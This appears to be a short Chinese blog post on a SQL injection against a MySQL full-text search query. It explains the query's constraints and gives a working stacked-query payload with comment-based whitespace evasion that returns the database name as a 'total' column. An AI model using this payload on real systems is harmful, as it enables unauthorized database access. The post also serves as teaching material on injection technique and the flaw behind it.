遇见个死难注的站,一个引号报错俩引号正常,但是各种payload瞎几把注就是注不出来,没招了找开发要了源码,拼的sql大概是这样:
1 | select SQL_CALC_FOUND_ROWS id,title,name,tags, MATCH (title, tags) against ( '+参数' IN BOOLEAN MODE ) AS score FROM content where MATCH (title, tags) against ( '+参数' IN BOOLEAN MODE ) ORDER BY score DESC limit 0,10;select FOUND_ROWS() as total; |
这两个地方的参数是同一个,完了这个参数拼到sql里之前还用正则分词处理过:
1 | 参数.trim().replace(/\s+/g, ' +') |
也就是说payload里不能有空白字符,有就替换成空格加号了
这个MATCH against是计算相似度的,不用管他,多加个括号闭合了就行,关键在于这个MATCH against是在select的列里的,后边不跟FROM和表名必报错,除非自己构造一个表:
1 | FROM (select '1' as id,'2' as title,'3' as name,'4' as tags) |
但tm自己构造又得猜列名,不然也报错。而且这样构造的表没有创建FULLTEXT 索引,不能用于MATCH against的查询,所以列名猜对了也报错:
1214 - The used table type doesn't support FULLTEXT indexes
他还用了SQL_CALC_FOUND_ROWS,这是个分页查询统计的语法,mysql8移除了。这个不重要,重要的是这个玩意的用法是后边跟一个select FOUND_ROWS() as total;,一共是返回了两个表,并且两个表在后边的代码里都用到了,所以payload也得返回两个表,且第二个表的列名必须是total。怪不得注不出来,这么多条件不看源码能注出来的得是神人了。
payload,还得过一遍url编码:
1 | a')FROM`content`;SELECT/**/database()/**/AS`total`;# |
拼起来是这样的:
1 | select SQL_CALC_FOUND_ROWS id,title,name,tags, MATCH (title, tags) against ( '+a')FROM`content`;SELECT/**/database()/**/AS`total`;# |